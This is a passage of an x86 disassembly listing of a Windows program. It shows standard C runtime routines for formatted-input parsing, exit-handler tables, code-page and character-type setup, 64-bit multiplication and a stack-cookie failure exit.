		mov	edx, [ebp+arg_0]
		call	sub_410946
		mov	ebx, eax
		jmp	short loc_4112CF
; ---------------------------------------------------------------------------


loc_4112BC:				; CODE XREF: sub_41095C+931j
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4112CF
		push	[ebp+arg_0]
		push	ebx
		call	sub_414D64
		pop	ecx
		pop	ecx


loc_4112CF:				; CODE XREF: sub_41095C+94Fj
					; sub_41095C+95Ej ...
		cmp	[ebp+var_4C], 0
		jz	loc_4111E0
		mov	[ebp+var_28], ebx


loc_4112DC:				; CODE XREF: sub_41095C+879j
		cmp	[ebp+var_4A], 0
		jz	loc_4113EA
		mov	eax, [ebp+var_5C]
		neg	eax
		mov	ecx, [ebp+var_58]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], ecx
		jmp	loc_4113EA
; ---------------------------------------------------------------------------


loc_4112FE:				; CODE XREF: sub_41095C+86Fj
		cmp	[ebp+var_4C], 0
		jnz	loc_4113E1
		mov	esi, 80h


loc_41130D:				; CODE XREF: sub_41095C+A7Cj
		cmp	edi, 78h
		jz	short loc_411359
		cmp	edi, 70h
		jz	short loc_411359
		cmp	dword_4214F4, 1
		jle	short loc_41132C
		push	4
		push	ebx
		call	sub_41328D
		pop	ecx
		pop	ecx
		jmp	short loc_411338
; ---------------------------------------------------------------------------


loc_41132C:				; CODE XREF: sub_41095C+9C2j
		mov	eax, off_4214EC
		movzx	eax, byte ptr [eax+ebx*2]
		and	eax, 4


loc_411338:				; CODE XREF: sub_41095C+9CEj
		test	eax, eax
		jz	short loc_41138B
		cmp	edi, 6Fh
		jnz	short loc_41134C
		cmp	ebx, 38h
		jge	short loc_41138B
		shl	[ebp+var_38], 3
		jmp	short loc_41138E
; ---------------------------------------------------------------------------


loc_41134C:				; CODE XREF: sub_41095C+9E3j
		mov	eax, [ebp+var_38]
		lea	eax, [eax+eax*4]
		shl	eax, 1
		mov	[ebp+var_38], eax
		jmp	short loc_41138E
; ---------------------------------------------------------------------------


loc_411359:				; CODE XREF: sub_41095C+9B4j
					; sub_41095C+9B9j
		cmp	dword_4214F4, 1
		jle	short loc_41136D
		push	esi
		push	ebx
		call	sub_41328D
		pop	ecx
		pop	ecx
		jmp	short loc_411378
; ---------------------------------------------------------------------------


loc_41136D:				; CODE XREF: sub_41095C+A04j
		mov	eax, off_4214EC
		movzx	eax, byte ptr [eax+ebx*2]
		and	eax, esi


loc_411378:				; CODE XREF: sub_41095C+A0Fj
		test	eax, eax
		jz	short loc_41138B
		shl	[ebp+var_38], 4
		mov	eax, ebx
		call	sub_410914
		mov	ebx, eax
		jmp	short loc_41138E
; ---------------------------------------------------------------------------


loc_41138B:				; CODE XREF: sub_41095C+9DEj
					; sub_41095C+9E8j ...
		inc	[ebp+var_4C]


loc_41138E:				; CODE XREF: sub_41095C+9EEj
					; sub_41095C+9FBj ...
		cmp	[ebp+var_4C], 0
		jnz	short loc_4113C1
		inc	[ebp+var_40]
		mov	eax, [ebp+var_38]
		lea	eax, [eax+ebx-30h]
		mov	[ebp+var_38], eax
		cmp	[ebp+var_44], 0
		jz	short loc_4113B2
		dec	[ebp+var_48]
		jnz	short loc_4113B2
		mov	[ebp+var_4C], 1
		jmp	short loc_4113D4
; ---------------------------------------------------------------------------


loc_4113B2:				; CODE XREF: sub_41095C+A49j
					; sub_41095C+A4Ej
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_410946
		mov	ebx, eax
		jmp	short loc_4113D4
; ---------------------------------------------------------------------------


loc_4113C1:				; CODE XREF: sub_41095C+A36j
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4113D4
		push	[ebp+arg_0]
		push	ebx
		call	sub_414D64
		pop	ecx
		pop	ecx


loc_4113D4:				; CODE XREF: sub_41095C+A54j
					; sub_41095C+A63j ...
		cmp	[ebp+var_4C], 0
		jz	loc_41130D
		mov	[ebp+var_28], ebx


loc_4113E1:				; CODE XREF: sub_41095C+9A6j
		cmp	[ebp+var_4A], 0
		jz	short loc_4113EA
		neg	[ebp+var_38]


loc_4113EA:				; CODE XREF: sub_41095C+984j
					; sub_41095C+99Dj ...
		cmp	edi, 46h
		jnz	short loc_4113F3
		and	[ebp+var_40], 0


loc_4113F3:				; CODE XREF: sub_41095C+A91j
		cmp	[ebp+var_40], 0
		jz	loc_4114BB
		cmp	[ebp+var_4B], 0
		jnz	short loc_41142C
		inc	[ebp+var_34]
		mov	ebx, [ebp+var_64]
		mov	eax, [ebp+var_38]


loc_41140C:				; CODE XREF: sub_41095C+29Bj
		cmp	[ebp+var_54], 0
		jz	short loc_41141F
		mov	eax, [ebp+var_5C]
		mov	[ebx], eax
		mov	eax, [ebp+var_58]
		mov	[ebx+4], eax
		jmp	short loc_41142C
; ---------------------------------------------------------------------------


loc_41141F:				; CODE XREF: sub_41095C+AB4j
		cmp	[ebp+var_4F], 0
		jz	short loc_411429
		mov	[ebx], eax
		jmp	short loc_41142C
; ---------------------------------------------------------------------------


loc_411429:				; CODE XREF: sub_41095C+AC7j
		mov	[ebx], ax


loc_41142C:				; CODE XREF: sub_41095C+2A1j
					; sub_41095C+479j ...
		inc	[ebp+var_29]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41149F
; ---------------------------------------------------------------------------


loc_411437:				; CODE XREF: sub_41095C+ADj
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_410946
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		movzx	eax, byte ptr [esi]
		inc	esi
		mov	[ebp+arg_4], esi
		cmp	eax, ebx
		jnz	short loc_411488
		movzx	eax, bl
		mov	ecx, off_4214EC
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41149F
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_410946
		movzx	ecx, byte ptr [esi]
		inc	esi
		mov	[ebp+arg_4], esi
		cmp	ecx, eax
		jz	short loc_41149C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411488
		push	[ebp+arg_0]
		push	eax
		call	sub_414D64
		pop	ecx
		pop	ecx


loc_411488:				; CODE XREF: sub_41095C+AF4j
					; sub_41095C+B1Fj
		cmp	ebx, 0FFFFFFFFh


loc_41148B:				; CODE XREF: sub_41095C+4F6j
		jz	short loc_4114BB
		push	[ebp+arg_0]
		push	[ebp+var_28]
		call	sub_414D64
		pop	ecx
		pop	ecx
		jmp	short loc_4114BB
; ---------------------------------------------------------------------------


loc_41149C:				; CODE XREF: sub_41095C+B1Aj
		dec	[ebp+var_30]


loc_41149F:				; CODE XREF: sub_41095C+AD9j
					; sub_41095C+B04j
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	loc_41098D
		cmp	byte ptr [esi],	25h
		jnz	short loc_4114BB
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jz	loc_41098A


loc_4114BB:				; CODE XREF: sub_41095C+35j
					; sub_41095C+46Fj ...
		cmp	[ebp+var_24], 1
		jnz	short loc_4114CA
		push	[ebp+var_20]
		call	sub_40E359
		pop	ecx


loc_4114CA:				; CODE XREF: sub_41095C+B63j
		mov	eax, [ebp+var_34]
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_4114DF
		test	eax, eax
		jnz	short loc_4114DF
		cmp	[ebp+var_29], al
		jnz	short loc_4114DF
		or	eax, 0FFFFFFFFh


loc_4114DF:				; CODE XREF: sub_41095C+B75j
					; sub_41095C+B79j ...
		lea	esp, [ebp-1E4h]
		mov	ecx, [ebp+var_1C]
		xor	ecx, [ebp+4]
		call	sub_411BA5
		call	__SEH_epilog
		retn
sub_41095C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4114F6	proc near		; CODE XREF: sub_411578+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4C5ECC
		call	sub_4150F4
		pop	ecx
		mov	ecx, dword_4C5EC8
		mov	esi, eax
		mov	eax, dword_4C5ECC
		mov	edx, ecx
		sub	edx, eax
		add	edx, 4
		cmp	esi, edx
		jnb	short loc_411569
		mov	ecx, 800h
		cmp	esi, ecx
		jnb	short loc_411526
		mov	ecx, esi


loc_411526:				; CODE XREF: sub_4114F6+2Cj
		add	ecx, esi
		push	ecx
		push	eax
		call	sub_414F92
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41154C
		add	esi, 10h
		push	esi
		push	dword_4C5ECC
		call	sub_414F92
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41154C
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41154C:				; CODE XREF: sub_4114F6+3Dj
					; sub_4114F6+52j
		mov	ecx, dword_4C5EC8
		sub	ecx, dword_4C5ECC
		mov	dword_4C5ECC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4C5EC8, ecx


loc_411569:				; CODE XREF: sub_4114F6+23j
		mov	eax, [esp+4+arg_0]
		mov	[ecx], eax
		add	dword_4C5EC8, 4
		pop	esi
		retn
sub_4114F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_411578	proc near		; CODE XREF: sub_40DD0D+6Bp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4114F6
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		dec	eax
		retn
sub_411578	endp


; =============== S U B	R O U T	I N E =======================================



sub_41158A	proc near		; DATA XREF: .text:0041E018o
		push	80h
		call	sub_40E74F
		test	eax, eax
		pop	ecx
		mov	dword_4C5ECC, eax
		jnz	short loc_4115A2
		push	18h
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4115A2:				; CODE XREF: sub_41158A+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4C5ECC
		mov	dword_4C5EC8, eax
		xor	eax, eax
		retn
sub_41158A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4115B2	proc near		; CODE XREF: .text:loc_40F945p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_41BC50
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_41CA6C


loc_4115C5:				; CODE XREF: sub_4115B2+3Cj
		cmp	[ebp+var_1C], offset dword_41CA6C
		jnb	short loc_4115F0
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4115E6
		call	eax
		jmp	short loc_4115E6
; ---------------------------------------------------------------------------


loc_4115DF:				; DATA XREF: .text:stru_41BC50o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_4115E3:				; DATA XREF: .text:stru_41BC50o
		mov	esp, [ebp+ms_exc.old_esp]


loc_4115E6:				; CODE XREF: sub_4115B2+27j
					; sub_4115B2+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_4115C5
; ---------------------------------------------------------------------------


loc_4115F0:				; CODE XREF: sub_4115B2+1Aj
		call	__SEH_epilog
		retn
sub_4115B2	endp

; ---------------------------------------------------------------------------


loc_4115F6:				; DATA XREF: sub_40DD0D:loc_40DD73o
		push	0Ch
		push	offset stru_41BC60
		call	__SEH_prolog
		mov	dword ptr [ebp-1Ch], offset dword_41CA74


loc_411609:				; CODE XREF: .text:00411632j
		cmp	dword ptr [ebp-1Ch], offset dword_41CA74
		jnb	short loc_411634
		and	dword ptr [ebp-4], 0
		mov	eax, [ebp-1Ch]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_41162A
		call	eax
		jmp	short loc_41162A
; ---------------------------------------------------------------------------


loc_411623:				; DATA XREF: .text:stru_41BC60o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_411627:				; DATA XREF: .text:stru_41BC60o
		mov	esp, [ebp-18h]


loc_41162A:				; CODE XREF: .text:0041161Dj
					; .text:00411621j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		add	dword ptr [ebp-1Ch], 4
		jmp	short loc_411609
; ---------------------------------------------------------------------------


loc_411634:				; CODE XREF: .text:00411610j
		call	__SEH_epilog
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41163A	proc near		; CODE XREF: sub_411824+15Ap
					; sub_411824+19Fp
		sub	eax, 3A4h
		jz	short loc_411663
		sub	eax, 4
		jz	short loc_41165D
		sub	eax, 0Dh
		jz	short loc_411657
		dec	eax
		jz	short loc_411651
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_411651:				; CODE XREF: sub_41163A+12j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_411657:				; CODE XREF: sub_41163A+Fj
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41165D:				; CODE XREF: sub_41163A+Aj
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_411663:				; CODE XREF: sub_41163A+5j
		mov	eax, 411h
		retn
sub_41163A	endp


; =============== S U B	R O U T	I N E =======================================



sub_411669	proc near		; CODE XREF: sub_411824:loc_4119EFp
		push	edi
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4C5B80
		rep stosd
		stosb
		xor	eax, eax
		mov	dword_4C5C84, eax
		mov	dword_4C5B70, eax
		mov	dword_4C5B6C, eax
		mov	edi, offset dword_4C5C90
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_411669	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411692	proc near		; CODE XREF: sub_411824:loc_4119F4p

var_518		= word ptr -518h
var_318		= byte ptr -318h
var_218		= byte ptr -218h
var_118		= byte ptr -118h
var_18		= byte ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 518h
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		push	esi
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	dword_4C5C84
		call	dword_4191A4	; GetCPInfo
		cmp	eax, 1
		mov	esi, 100h
		jnz	loc_4117D2
		xor	eax, eax


loc_4116C7:				; CODE XREF: sub_411692+3Fj
		mov	[ebp+eax+var_118], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4116C7
		mov	al, [ebp+var_12]
		test	al, al
		mov	[ebp+var_118], 20h
		jz	short loc_411717
		push	ebx
		lea	edx, [ebp+var_11]
		push	edi


loc_4116E6:				; CODE XREF: sub_411692+81j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41170D
		sub	ecx, eax
		inc	ecx
		mov	ebx, ecx
		shr	ecx, 2
		lea	edi, [ebp+eax+var_118]
		mov	eax, 20202020h
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41170D:				; CODE XREF: sub_411692+5Cj
		inc	edx
		mov	al, [edx]
		inc	edx
		test	al, al
		jnz	short loc_4116E6
		pop	edi
		pop	ebx


loc_411717:				; CODE XREF: sub_411692+4Dj
		push	0
		push	dword_4C5B6C
		lea	eax, [ebp+var_518]
		push	dword_4C5C84
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	1
		call	sub_41512C
		push	0
		push	dword_4C5C84
		lea	eax, [ebp+var_218]
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	esi
		push	dword_4C5B6C
		call	sub_412ED1
		push	0
		push	dword_4C5C84
		lea	eax, [ebp+var_318]
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	200h
		push	dword_4C5B6C
		call	sub_412ED1
		add	esp, 5Ch
		xor	eax, eax


loc_41178C:				; CODE XREF: sub_411692+13Cj
		mov	cx, [ebp+eax*2+var_518]
		test	cl, 1
		jz	short loc_4117AF
		or	byte_4C5B81[eax], 10h
		mov	cl, [ebp+eax+var_218]


loc_4117A7:				; CODE XREF: sub_411692+130j
		mov	byte_4C5CA0[eax], cl
		jmp	short loc_4117CB
; ---------------------------------------------------------------------------


loc_4117AF:				; CODE XREF: sub_411692+105j
		test	cl, 2
		jz	short loc_4117C4
		or	byte_4C5B81[eax], 20h
		mov	cl, [ebp+eax+var_318]
		jmp	short loc_4117A7
; ---------------------------------------------------------------------------


loc_4117C4:				; CODE XREF: sub_411692+120j
		and	byte_4C5CA0[eax], 0


loc_4117CB:				; CODE XREF: sub_411692+11Bj
		inc	eax
		cmp	eax, esi
		jb	short loc_41178C
		jmp	short loc_411816
; ---------------------------------------------------------------------------


loc_4117D2:				; CODE XREF: sub_411692+2Dj
		xor	eax, eax


loc_4117D4:				; CODE XREF: sub_411692+182j
		cmp	eax, 41h
		jb	short loc_4117F2
		cmp	eax, 5Ah
		ja	short loc_4117F2
		or	byte_4C5B81[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_4117EA:				; CODE XREF: sub_411692+176j
		mov	byte_4C5CA0[eax], cl
		jmp	short loc_411811
; ---------------------------------------------------------------------------


loc_4117F2:				; CODE XREF: sub_411692+145j
					; sub_411692+14Aj
		cmp	eax, 61h
		jb	short loc_41180A
		cmp	eax, 7Ah
		ja	short loc_41180A
		or	byte_4C5B81[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_4117EA
; ---------------------------------------------------------------------------


loc_41180A:				; CODE XREF: sub_411692+163j
					; sub_411692+168j
		and	byte_4C5CA0[eax], 0


loc_411811:				; CODE XREF: sub_411692+15Ej
		inc	eax
		cmp	eax, esi
		jb	short loc_4117D4


loc_411816:				; CODE XREF: sub_411692+13Ej
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	esi
		call	sub_411BA5
		leave
		retn
sub_411692	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411824	proc near		; CODE XREF: sub_411A10+Bp

var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	esi, 0FFFFFFFEh
		mov	[ebp+var_4], eax
		push	edi
		mov	dword_4C5970, ebx
		jnz	short loc_41185A
		mov	dword_4C5970, 1
		call	dword_4191A8	; GetOEMCP
		jmp	short loc_411885
; ---------------------------------------------------------------------------


loc_41185A:				; CODE XREF: sub_411824+22j
		cmp	esi, 0FFFFFFFDh
		jnz	short loc_411871
		mov	dword_4C5970, 1
		call	dword_4191AC	; GetACP
		jmp	short loc_411885
; ---------------------------------------------------------------------------


loc_411871:				; CODE XREF: sub_411824+39j
		cmp	esi, 0FFFFFFFCh
		jnz	short loc_41188A
		mov	eax, dword_4C59A8
		mov	dword_4C5970, 1


loc_411885:				; CODE XREF: sub_411824+34j
					; sub_411824+4Bj
		mov	[ebp+arg_0], eax
		mov	esi, eax


loc_41188A:				; CODE XREF: sub_411824+50j
		cmp	esi, dword_4C5C84
		jz	loc_4119F9
		cmp	esi, ebx
		jz	loc_4119EF
		xor	edx, edx
		xor	eax, eax


loc_4118A2:				; CODE XREF: sub_411824+8Fj
		cmp	dword_421270[eax], esi
		jz	short loc_411911
		add	eax, 30h
		inc	edx
		cmp	eax, 0F0h
		jb	short loc_4118A2
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_4191A4	; GetCPInfo
		cmp	eax, 1
		jnz	loc_4119E7
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4C5B80
		rep stosd
		stosb
		xor	edi, edi
		inc	edi
		cmp	[ebp+var_1C], edi
		mov	dword_4C5C84, esi
		mov	dword_4C5B6C, ebx
		jbe	loc_4119D5
		cmp	[ebp+var_16], 0
		jz	loc_4119B0
		lea	ecx, [ebp+var_15]


loc_4118FB:				; CODE XREF: sub_411824+186j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_4119B0
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl
		jmp	loc_4119A0
; ---------------------------------------------------------------------------


loc_411911:				; CODE XREF: sub_411824+84j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4C5B80
		rep stosd
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		mov	[ebp+var_8], ebx
		stosb
		lea	ebx, dword_421280[ecx]


loc_41192D:				; CODE XREF: sub_411824+146j
		mov	al, [ebx]
		mov	esi, ebx
		jmp	short loc_41195C
; ---------------------------------------------------------------------------


loc_411933:				; CODE XREF: sub_411824+13Aj
		mov	dl, [esi+1]
		test	dl, dl
		jz	short loc_411960
		movzx	eax, al
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_411958
		mov	edx, [ebp+var_8]
		mov	dl, byte_421268[edx]


loc_41194D:				; CODE XREF: sub_411824+132j
		or	byte_4C5B81[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41194D


loc_411958:				; CODE XREF: sub_411824+11Ej
		inc	esi
		inc	esi
		mov	al, [esi]


loc_41195C:				; CODE XREF: sub_411824+10Dj
		test	al, al
		jnz	short loc_411933


loc_411960:				; CODE XREF: sub_411824+114j
		inc	[ebp+var_8]
		add	ebx, 8
		cmp	[ebp+var_8], 4
		jb	short loc_41192D
		mov	eax, [ebp+arg_0]
		mov	dword_4C5C84, eax
		mov	dword_4C5B70, 1
		call	sub_41163A
		lea	esi, dword_421274[ecx]
		mov	edi, offset dword_4C5C90
		movsd
		movsd
		mov	dword_4C5B6C, eax
		movsd
		jmp	short loc_4119F4
; ---------------------------------------------------------------------------


loc_411998:				; CODE XREF: sub_411824+17Ej
		or	byte_4C5B81[eax], 4
		inc	eax


loc_4119A0:				; CODE XREF: sub_411824+E8j
		cmp	eax, edx
		jbe	short loc_411998
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_4118FB


loc_4119B0:				; CODE XREF: sub_411824+CEj
					; sub_411824+DBj
		mov	eax, edi


loc_4119B2:				; CODE XREF: sub_411824+19Bj
		or	byte_4C5B81[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_4119B2
		mov	eax, esi
		call	sub_41163A
		mov	dword_4C5B6C, eax
		mov	dword_4C5B70, edi
		jmp	short loc_4119DB
; ---------------------------------------------------------------------------


loc_4119D5:				; CODE XREF: sub_411824+C4j
		mov	dword_4C5B70, ebx


loc_4119DB:				; CODE XREF: sub_411824+1AFj
		xor	eax, eax
		mov	edi, offset dword_4C5C90
		stosd
		stosd
		stosd
		jmp	short loc_4119F4
; ---------------------------------------------------------------------------


loc_4119E7:				; CODE XREF: sub_411824+9Fj
		cmp	dword_4C5970, ebx
		jz	short loc_4119FD


loc_4119EF:				; CODE XREF: sub_411824+74j
		call	sub_411669


loc_4119F4:				; CODE XREF: sub_411824+172j
					; sub_411824+1C1j
		call	sub_411692


loc_4119F9:				; CODE XREF: sub_411824+6Cj
		xor	eax, eax
		jmp	short loc_411A00
; ---------------------------------------------------------------------------


loc_4119FD:				; CODE XREF: sub_411824+1C9j
		or	eax, 0FFFFFFFFh


loc_411A00:				; CODE XREF: sub_411824+1D7j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_411BA5
		leave
		retn
sub_411824	endp


; =============== S U B	R O U T	I N E =======================================



sub_411A10	proc near		; CODE XREF: sub_4147D3+9p
					; sub_41483C+Dp ...
		cmp	dword_4C5ED0, 0
		jnz	short loc_411A2B
		push	0FFFFFFFDh
		call	sub_411824
		pop	ecx
		mov	dword_4C5ED0, 1


loc_411A2B:				; CODE XREF: sub_411A10+7j
		xor	eax, eax
		retn
sub_411A10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A2E	proc near		; CODE XREF: sub_40DEA4+2Cp
					; sub_40DEA4+A7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4C5B70, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_411A52
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_40DB80
		add	esp, 0Ch
		jmp	short loc_411A9A
; ---------------------------------------------------------------------------


loc_411A52:				; CODE XREF: sub_411A2E+11j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_411A97
		mov	edx, [ebp+arg_4]
		push	esi


loc_411A5D:				; CODE XREF: sub_411A2E+77j
		mov	al, [edx]
		movzx	esi, al
		dec	ecx
		test	byte_4C5B81[esi], 4
		mov	[edi], al
		jz	short loc_411A9D
		inc	edi
		inc	edx
		test	ecx, ecx
		jz	short loc_411AA9
		mov	al, [edx]
		dec	ecx
		mov	[edi], al
		inc	edi
		inc	edx
		test	al, al
		jnz	short loc_411AA3
		and	[edi-2], al


loc_411A82:				; CODE XREF: sub_411A2E+73j
		test	ecx, ecx
		jz	short loc_411A96
		mov	edx, ecx
		shr	ecx, 2
		xor	eax, eax
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_411A96:				; CODE XREF: sub_411A2E+56j
					; sub_411A2E+79j ...
		pop	esi


loc_411A97:				; CODE XREF: sub_411A2E+29j
		mov	eax, [ebp+arg_0]


loc_411A9A:				; CODE XREF: sub_411A2E+22j
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_411A9D:				; CODE XREF: sub_411A2E+3Ej
		inc	edi
		inc	edx
		test	al, al
		jz	short loc_411A82


loc_411AA3:				; CODE XREF: sub_411A2E+4Fj
		test	ecx, ecx
		jnz	short loc_411A5D
		jmp	short loc_411A96
; ---------------------------------------------------------------------------


loc_411AA9:				; CODE XREF: sub_411A2E+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_411A96
sub_411A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411AAF	proc near		; CODE XREF: sub_40E070+Cp

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		cmp	ecx, 0FFh
		jbe	short loc_411B1C
		and	[ebp+var_4], 0
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_2]
		stosw
		mov	eax, ecx
		shr	eax, 8
		cmp	dword_4C5B70, 0
		mov	byte ptr [ebp+arg_0+2],	al
		mov	byte ptr [ebp+arg_0+3],	cl
		pop	edi
		jnz	short loc_411AE4


loc_411AE0:				; CODE XREF: sub_411AAF+59j
					; sub_411AAF+60j ...
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_411AE4:				; CODE XREF: sub_411AAF+2Fj
		push	1
		push	dword_4C5B6C
		lea	eax, [ebp+var_4]
		push	dword_4C5C84
		push	eax
		push	2
		lea	eax, [ebp+arg_0+2]
		push	eax
		push	1
		call	sub_41512C
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_411AE0
		cmp	[ebp+var_2], 0
		jnz	short loc_411AE0
		test	byte ptr [ebp+var_4], 8
		jz	short loc_411AE0
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_411B1C:				; CODE XREF: sub_411AAF+Dj
		cmp	dword_4214F4, 1
		jle	short loc_411B31
		push	8
		push	ecx
		call	sub_41328D
		pop	ecx
		pop	ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_411B31:				; CODE XREF: sub_411AAF+74j
		mov	eax, off_4214EC
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 8
		leave
		retn
sub_411AAF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411B40	proc near		; CODE XREF: sub_41095C+8DCp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_411B59
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_411B59:				; CODE XREF: sub_411B40+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_411B40	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_411BA5


loc_411B74:				; CODE XREF: sub_411BA5:loc_411BAEj
		push	8
		push	offset stru_41BC70
		call	__SEH_prolog
		and	dword ptr [ebp-4], 0
		push	0
		push	1
		call	sub_41533C
		pop	ecx
		pop	ecx
		jmp	short loc_411B98
; END OF FUNCTION CHUNK	FOR sub_411BA5

; =============== S U B	R O U T	I N E =======================================



sub_411B91	proc near		; DATA XREF: .text:stru_41BC70o
		xor	eax, eax
		inc	eax
		retn
sub_411B91	endp

; ---------------------------------------------------------------------------


loc_411B95:				; DATA XREF: .text:stru_41BC70o
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_411BA5


loc_411B98:				; CODE XREF: sub_411BA5-16j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	3
		call	dword_4190B8	; ExitProcess
		int	3		; Trap to Debugger
; END OF FUNCTION CHUNK	FOR sub_411BA5

; =============== S U B	R O U T	I N E =======================================



